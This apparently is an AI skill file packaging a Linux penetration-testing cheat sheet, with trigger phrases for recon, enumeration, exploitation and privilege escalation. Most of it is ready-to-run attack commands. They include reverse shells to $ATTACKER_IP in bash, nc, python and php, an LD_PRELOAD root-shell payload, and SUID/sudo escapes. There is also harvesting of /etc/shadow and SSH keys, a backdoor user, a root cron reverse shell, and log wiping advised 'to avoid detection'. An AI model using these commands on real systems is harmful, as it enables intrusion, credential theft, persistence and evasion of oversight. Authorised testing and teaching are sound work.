| name | linux-pentester-commands |
| description | Practical Linux command reference for penetration testing, reconnaissance, enumeration, exploitation, and privilege escalation |
| triggers | ["how do I enumerate services on a Linux system","show me Linux commands for privilege escalation","what are the best reconnaissance commands for pentesting","help me with Linux exploitation techniques","how to perform local enumeration on Linux","give me pentesting cheatsheet commands","what Linux commands should I use during post-exploitation","show me how to escalate privileges on Linux"] |
Linux Pentester Commands Skill
Skill by ara.so — Security Skills collection.
This skill provides expertise in using the Linux for a Pentester command reference repository, a curated collection of practical Linux commands used in penetration testing workflows including reconnaissance, enumeration, exploitation, privilege escalation, and post-exploitation.
What This Project Does
Linux for a Pentester is a practical command reference organized by penetration testing phases:
- General Commands: Essential Linux survival commands
- Reconnaissance: Local and network information gathering
- Enumeration: Deep service and user data discovery
- Exploitation: Initial access techniques
- Privilege Escalation: Techniques to gain root access
- Post-Exploitation: Persistence and lateral movement
- Cheatsheets: Quick reference one-liners
Installation
Clone the repository to have offline access during engagements:
git clone https://github.com/HIMANSHUSHARMA20/Linux-for-a-Pentester.git
cd Linux-for-a-Pentester
For quick reference during active testing:
echo 'alias pentref="cd ~/Linux-for-a-Pentester && ls"' >> ~/.bashrc
source ~/.bashrc
Repository Structure
Linux-for-a-Pentester/
├── 00-General-Commands/ # Basic Linux survival commands
├── 01-Recon/ # Reconnaissance phase commands
├── 02-Enumeration/ # Service and system enumeration
├── 03-Exploitation/ # Exploitation techniques
├── 04-Privilege-Escalation/ # Privilege escalation methods
├── 05-Post-Exploitation/ # Post-exploitation activities
└── Cheatsheets/ # Quick reference sheets
Common Pentesting Workflows
1. Initial Reconnaissance
System Information Gathering:
uname -a
cat /etc/os-release
hostname
uptime
whoami
id
groups
Network Reconnaissance:
ip addr
ip route
ss -tulpn
netstat -antup
cat /etc/hosts
cat /etc/resolv.conf
2. Enumeration Phase
User Enumeration:
cat /etc/passwd
cat /etc/group
lastlog
w
ls -la /home/
find /home -type f -readable 2>/dev/null
Service Enumeration:
systemctl list-units --type=service --state=running
ps aux
ps -ef --forest
ss -tulpn | grep LISTEN
lsof -i -P -n
File System Enumeration:
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
find / -perm -6000 -type f 2>/dev/null
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find /etc -type f -readable 2>/dev/null
grep -r "password" /etc/ 2>/dev/null
3. Exploitation Commands
Reverse Shells:
bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1
nc -e /bin/bash $ATTACKER_IP 4444
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4444 >/tmp/f
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("$ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
Shell Upgrade:
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
stty raw -echo; fg
export TERM=xterm
4. Privilege Escalation
SUID Exploitation:
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null
/usr/bin/find . -exec /bin/sh \; -quit
/usr/bin/vim -c ':!/bin/sh'
/usr/bin/nmap --interactive
Sudo Exploitation:
sudo -l
sudo -u#-1 /bin/bash
cat > /tmp/shell.c << EOF
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
EOF
gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles
sudo LD_PRELOAD=/tmp/shell.so <allowed_program>
Cron Job Exploitation:
cat /etc/crontab
ls -la /etc/cron.*
crontab -l
crontab -l -u root 2>/dev/null
find /etc/cron* -type f -writable 2>/dev/null
Kernel Exploits:
uname -a
cat /proc/version
5. Post-Exploitation
Credential Harvesting:
find / -name id_rsa 2>/dev/null
find / -name authorized_keys 2>/dev/null
cat /etc/shadow 2>/dev/null
cat ~/.bash_history
find / -name .bash_history 2>/dev/null
grep -r "password" /var/www/ 2>/dev/null
grep -r "pass" /opt/ 2>/dev/null
find / -name "*.conf" -exec grep -i "password" {} \; 2>/dev/null
Persistence:
mkdir -p ~/.ssh
echo "$PUBLIC_KEY" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
useradd -m -s /bin/bash backdoor
echo "backdoor:password" | chpasswd
usermod -aG sudo backdoor
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1'" >> /var/spool/cron/crontabs/root
Key Command Categories
Network Scanning
for port in {1..1000}; do timeout 1 bash -c "echo >/dev/tcp/localhost/$port" 2>/dev/null && echo "Port $port open"; done
ip neigh
arp -a
File Transfer Techniques
python3 -m http.server 8000
wget http://$ATTACKER_IP:8000/file
curl -O http://$ATTACKER_IP:8000/file
exec 3<>/dev/tcp/$ATTACKER_IP/8000
echo -e "GET /file HTTP/1.0\r\n\r\n" >&3
cat <&3 > file
Log Cleanup
history -c
rm ~/.bash_history
unset HISTFILE
echo "" > /var/log/auth.log
echo "" > /var/log/syslog
find /var/log -type f -exec truncate -s 0 {} \;
Environment Variables
When working with this reference, consider setting these environment variables in your testing environment:
export ATTACKER_IP="10.10.14.x"
export TARGET_IP="10.10.10.x"
export LPORT=4444
Troubleshooting Common Issues
Command Not Found
Some commands may not be available on minimal systems:
ss -tulpn
ip addr
curl -O http://example.com/file
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4444 >/tmp/f
Permission Denied Errors
find / -name "interesting" 2>/dev/null
cd /tmp || cd /dev/shm
Limited Shell Issues
python -c 'import pty; pty.spawn("/bin/bash")'
script /dev/null -c bash
/bin/bash -i
Best Practices
- Always redirect errors when searching:
2>/dev/null
- Use /tmp or /dev/shm for temporary files (usually writable)
- Clean up after testing to avoid detection
- Document findings as you discover them
- Test commands in safe environments first
- Keep GTFOBins bookmarked for SUID/sudo exploitation
- Check LinPEAS/LinEnum output systematically
Integration with Testing Workflow
python3 -c 'import pty; pty.spawn("/bin/bash")'
sudo -l
find / -perm -4000 2>/dev/null
cat /etc/crontab
history -c && rm ~/.bash_history
This skill provides the command reference needed for practical Linux penetration testing. Refer to the repository's individual directories for more detailed notes on each phase.